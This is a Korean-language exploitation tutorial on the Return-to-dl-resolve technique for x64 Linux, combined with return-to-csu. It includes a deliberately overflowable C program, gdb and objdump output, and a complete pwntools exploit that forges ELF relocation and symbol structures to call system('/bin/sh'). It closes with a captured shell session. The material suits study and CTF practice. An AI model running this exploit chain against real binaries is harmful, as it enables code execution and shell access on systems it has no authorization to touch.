...
Excuse the ads! We need some help to keep our site up.
List
Table of Contents exclude List
Return-to-dl-resolve - x64
- Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니다.
- Return-to-dl-resolve는 Lazy binding 을 악용해 필요한 함수를 호출합니다.
Lazy binding
- x86과 x64의 Signal & Signal handler 동작은 동일합니다.
Source code - struct
- x86과 x64의 차이점은 Elf32_Rel, Elf32_Sym 구조 대신 Elf64_Rela, Elf64_Sym 구조를 사용하는 것입니다.
- 여기서 중요한 것은 구조체의 크기가 변경된다는 것입니다.
- Elf32_Rel 구조체의 크기(8 byte) → Elf64_Rela 구조체의 크기(24 byte)
- Elf32_Sym 구조체의 크기(16 byte) → Elf64_Sym 구조체의 크기(24 byte)
- 이로 인하여 reloc_offset 값이 주소의 offset 값이 아닌 Elf64_Rela 구조체의 배열 인덱스가 되어야 합니다.
...
Panel | ||
---|---|---|
| ||
Proof of concept
Example code
Code Block | ||
---|---|---|
| ||
//gcc -fno-stack-protector -o rop rop.c #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; read(0, buf, 512); } void main(){ write(1,"Hello ROP\n",10); vuln(); } |
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x400566 : vuln 함수 코드 첫부분
0x40057f : read() 함수 호출 전
...
Code Block | ||
---|---|---|
| ||
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/dl-resolve/x64/rop Hello ROP Breakpoint 1, 0x0000000000400566 in vuln () gdb-peda$ i r rsp rsp 0x7fffffffe488 0x7fffffffe488 gdb-peda$ c Continuing. Breakpoint 2, 0x000000000040057f in vuln () gdb-peda$ i r rsi rsi 0x7fffffffe440 0x7fffffffe440 gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440 $1 = 72 gdb-peda$ |
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
...
Panel | ||
---|---|---|
| ||
|
Find Section Headers
- 다음과 같은 방식을 Section Headers를 찾을 수 있습니다.
...
Code Block | ||
---|---|---|
| ||
from pwn import * from struct import * #context.log_level = 'debug' elf = ELF('./rop') # get section address addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] addr_relaplt = elf.get_section_by_name('.rela.plt').header['sh_addr'] addr_plt = elf.get_section_by_name('.plt').header['sh_addr'] addr_got = elf.get_section_by_name('.got.plt').header['sh_addr'] addr_bss = elf.get_section_by_name('.bss').header['sh_addr'] addr_got_read = elf.got['read'] addr_got_write = elf.got['write'] log.info('Section Headers') log.info('.dynsym : ' + hex(addr_dynsym)) log.info('.dynstr : ' + hex(addr_dynstr)) log.info('.rela.plt : ' + hex(addr_relaplt)) log.info('.plt : ' + hex(addr_plt)) log.info('.got : ' + hex(addr_got)) log.info('.bss : ' + hex(addr_bss)) log.info('read@got : ' + hex(addr_got_read)) log.info('write@got : ' + hex(addr_got_write)) |
Find gadget
해당 바이너리에서는 "POP RSI", "POP RDI" Gadget을 찾을수 있지만, "POP RDX" Gadget을 찾을 수 없습니다.
- 해당 바이너리에서는 lib 의 주소도 제공되지 않습니다.
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ objdump -M intel -d ./rop ./rop: file format elf64-x86-64 Disassembly of section .init: ... Disassembly of section .plt: ... Disassembly of section .text: ... 00000000004005b0 <__libc_csu_init>: 4005b0: 41 57 push r15 4005b2: 41 56 push r14 4005b4: 41 89 ff mov r15d,edi 4005b7: 41 55 push r13 4005b9: 41 54 push r12 4005bb: 4c 8d 25 4e 08 20 00 lea r12,[rip+0x20084e] # 600e10 <__frame_dummy_init_array_entry> 4005c2: 55 push rbp 4005c3: 48 8d 2d 4e 08 20 00 lea rbp,[rip+0x20084e] # 600e18 <__init_array_end> 4005ca: 53 push rbx 4005cb: 49 89 f6 mov r14,rsi 4005ce: 49 89 d5 mov r13,rdx 4005d1: 4c 29 e5 sub rbp,r12 4005d4: 48 83 ec 08 sub rsp,0x8 4005d8: 48 c1 fd 03 sar rbp,0x3 4005dc: e8 1f fe ff ff call 400400 <_init> 4005e1: 48 85 ed test rbp,rbp 4005e4: 74 20 je 400606 <__libc_csu_init+0x56> 4005e6: 31 db xor ebx,ebx 4005e8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 4005ef: 00 4005f0: 4c 89 ea mov rdx,r13 4005f3: 4c 89 f6 mov rsi,r14 4005f6: 44 89 ff mov edi,r15d 4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 4005fd: 48 83 c3 01 add rbx,0x1 400601: 48 39 eb cmp rbx,rbp 400604: 75 ea jne 4005f0 <__libc_csu_init+0x40> 400606: 48 83 c4 08 add rsp,0x8 40060a: 5b pop rbx 40060b: 5d pop rbp 40060c: 41 5c pop r12 40060e: 41 5d pop r13 400610: 41 5e pop r14 400612: 41 5f pop r15 400614: c3 ret 400615: 90 nop 400616: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 40061d: 00 00 00 0000000000400620 <__libc_csu_fini>: 400620: f3 c3 repz ret Disassembly of section .fini: 0000000000400624 <_fini>: 400624: 48 83 ec 08 sub rsp,0x8 400628: 48 83 c4 08 add rsp,0x8 40062c: c3 ret lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ |
FAKE reloc_offset, Fake Elf64_Rel, Fake Elf64_Sym
다음과 같이 Fake 정보 영역을 확보합니다.
addr_reloc 영역은 다음과 같이 계산됩니다.
addr_reloc의 기본 영역은 base_stage + 8*26 입니다.
구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.
Elf64_Rel 구조체는 ".rela.plt" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.
base_stage ~ base_stage + 8*26 영역에는 return-to-csu Code가 저장됩니다.
addr_fake_sym 영역은 addr_reloc 에 Elf64_Rel 구조체 크기(24)을 더한 곳에 위치 합니다.
구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.
Elf64_Rel 구조체는 ".dynsym" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.
addr_fake_symstr 영역은 addr_fake_sym 에서 Elf64_Sym 구조체 크기(24)를 더한 곳에 위치 합니다.
addr_fake_cmd 영역은 addr_fake_symstr 에서 문자열 "system\x00"(7)을 더한 곳에 위치 합니다.
다음과 같이 Fake Elf32_Rel, Fake Elf32_Sym에 필요한 정보를 생성합니다.
addr_reloc 값에서 addr_relaplt 값을 빼서 값에 Elf64_Rel 구조체 크기(24)를 나누어서 fake_reloc_offset 값을 생성합니다.
(addr_reloc - addr_relaplt) / 24
fake_r_info 값은 다음과 같이 생성합니다.
addr_fake_sym 값에서 addr_dynsym 값을 뺀값에 구조체의 크기(24)를 나눕니다.
ELF32_R_TYPE 영역을 초기화 하기 위해 해당 값에 32로 '<<' 연산합니다.
ELF32_R_TYPE 값을 저장하기 위해 OR 연산을 이용하여 해당 영역에 0x7을 저장합니다.
addr_fake_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성합니다.
...
Code Block | ||
---|---|---|
| ||
gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop 0x00600000 0x00601000 r--p /home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop 0x00601000 0x00602000 rw-p /home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop 0x00007f63119e5000 0x00007f6311ba5000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so ... |
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
- 해당 문서에서 제공되는 Exploit code에는 "l->l_info[VERSYMIDX (DT_VERSYM)"영역에 값을 0으로 덮어씁니다.
- "l->l_info[VERSYMIDX (DT_VERSYM)" 코드는 심볼의 버전 정보를 회득하는 부분입니다.
- 해당 영역에 값을 0으로 변경하지 않으면 다음과 같은 에러가 발생합니다.
...
Code Block | ||||
---|---|---|---|---|
| ||||
const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; } |
Exploit code
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * from struct import * #context.log_level = 'debug' elf = ELF('./rop') # get section address addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] addr_relaplt = elf.get_section_by_name('.rela.plt').header['sh_addr'] addr_plt = elf.get_section_by_name('.plt').header['sh_addr'] addr_got = elf.get_section_by_name('.got.plt').header['sh_addr'] addr_bss = elf.get_section_by_name('.bss').header['sh_addr'] addr_got_read = elf.got['read'] addr_got_write = elf.got['write'] log.info('Section Headers') log.info('.dynsym : ' + hex(addr_dynsym)) log.info('.dynstr : ' + hex(addr_dynstr)) log.info('.rela.plt : ' + hex(addr_relaplt)) log.info('.plt : ' + hex(addr_plt)) log.info('.got : ' + hex(addr_got)) log.info('.bss : ' + hex(addr_bss)) log.info('read@got : ' + hex(addr_got_read)) log.info('write@got : ' + hex(addr_got_write)) addr_csu_init1 = 0x40060a # addr_csu_init2 = 0x4005f0 # addr_leave_ret = 0x00400585 # leave; ret addr_ret = 0x00400419 # ret stacksize = 0x600 base_stage = addr_bss + stacksize #write(1,addr_got+8,8) buf1 = 'A' * 72 buf1 += p64(addr_csu_init1) buf1 += p64(0) buf1 += p64(1) buf1 += p64(addr_got_write) buf1 += p64(8) buf1 += p64(addr_got+8) buf1 += p64(1) buf1 += p64(addr_csu_init2) #read(0,base_stage,400) buf1 += 'AAAAAAAA' buf1 += p64(0) buf1 += p64(1) buf1 += p64(addr_got_read) buf1 += p64(400) buf1 += p64(base_stage) buf1 += p64(0) buf1 += p64(addr_csu_init2) #JMP base_stage + 8 buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += p64(base_stage) # rbp buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' buf1 += p64(addr_leave_ret) binary = ELF('./rop') p = process(binary.path) p.recvn(10) #sleep(20) p.send(buf1) #Get address of addr_dt_versym addr_link_map = u64(p.read(8)) addr_dt_versym = addr_link_map + 0x1c8 addr_reloc = base_stage + 8*26 align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24) addr_reloc += align_reloc align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24) addr_fake_sym = addr_reloc + 24 addr_fake_sym += align_dynsym addr_fake_symstr = addr_fake_sym + 24 addr_fake_cmd = addr_fake_symstr + 7 fake_reloc_offset = (addr_reloc - addr_relaplt) / 24 fake_r_info = (((addr_fake_sym - addr_dynsym) / 24) << 32) #FAKE ELF32_R_SYM fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE fake_st_name = addr_fake_symstr - addr_dynstr log.info('') log.info('Fake Struct Information') log.info('addr_csu_init1 :'+ hex(addr_csu_init1)) log.info('addr_got_read :'+ hex(addr_got_read)) log.info('addr_dt_versym :'+ hex(addr_dt_versym)) log.info('addr_csu_init2 :'+ hex(addr_csu_init2)) log.info('addr_ret :'+ hex(addr_ret)) log.info('base_stage + 8*9 :'+ hex(base_stage + 8*9)) log.info('addr_fake_cmd :'+hex(addr_fake_cmd)) #read(0,addr_dt_versym,8) buf2 = 'AAAAAAAA' buf2 += p64(addr_csu_init1) buf2 += p64(0) buf2 += p64(1) buf2 += p64(addr_got_read) buf2 += p64(8) buf2 += p64(addr_dt_versym) buf2 += p64(0) buf2 += p64(addr_csu_init2) #Setting argument values of system() function buf2 += p64(addr_ret) buf2 += p64(0) buf2 += p64(1) buf2 += p64(base_stage + 8*9) #address of addr_csu_init2 buf2 += 'B' * 8 buf2 += 'B' * 8 buf2 += p64(addr_fake_cmd) #"/bin/sh" buf2 += p64(addr_csu_init2) buf2 += 'C' * 0x38 #_dl_runtime_resolve(struct link_map *l, fake_reloc_offset) buf2 += p64(addr_plt) buf2 += p64(fake_reloc_offset) buf2 += 'A' * align_reloc # Elf64_Rela buf2 += p64(addr_got_read) buf2 += p64(fake_r_info) buf2 += p64(0) buf2 += 'A' * align_dynsym # Elf64_Sym buf2 += p32(fake_st_name) buf2 += p32(0x12) buf2 += p64(0) buf2 += p64(0) #String "system" buf2 += 'system\x00' #String "/bin/sh" buf2 += '/bin/sh\x00' #sleep(10) p.send(buf2) #sleep(10) p.send(p64(0)) p.interactive() |
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ python exploit.py [*] '/home/lazenca0x0/Exploit/dl-resolve/x64/rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Section Headers [*] .dynsym : 0x4002b8 [*] .dynstr : 0x400330 [*] .rela.plt : 0x4003b8 [*] .plt : 0x400420 [*] .got : 0x601000 [*] .bss : 0x601040 [*] read@got : 0x601020 [*] write@got : 0x601018 [+] Starting local process '/home/lazenca0x0/Exploit/dl-resolve/x64/rop': pid 19575 [*] [*] Fake Struct Information [*] addr_csu_init1 :0x40060a [*] addr_got_read :0x601020 [*] addr_dt_versym :0x7f9b90b08330 [*] addr_csu_init2 :0x4005f0 [*] addr_ret :0x400419 [*] base_stage + 8*9 :0x601688 [*] addr_fake_cmd :0x601757 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |
References
- http://phrack.org/issues/58/4.html#article
- http://inaz2.hatenablog.com/entry/2014/07/27/205322
- http://rk700.github.io/2015/08/09/return-to-dl-resolve/
- https://gist.github.com/icchy/1b702fc56ec37844f711
- http://pwdme.cc/2017/09/27/bypassing-aslr-dep-using-rop-return-to-dl-resolve-in-64-bit-system/
...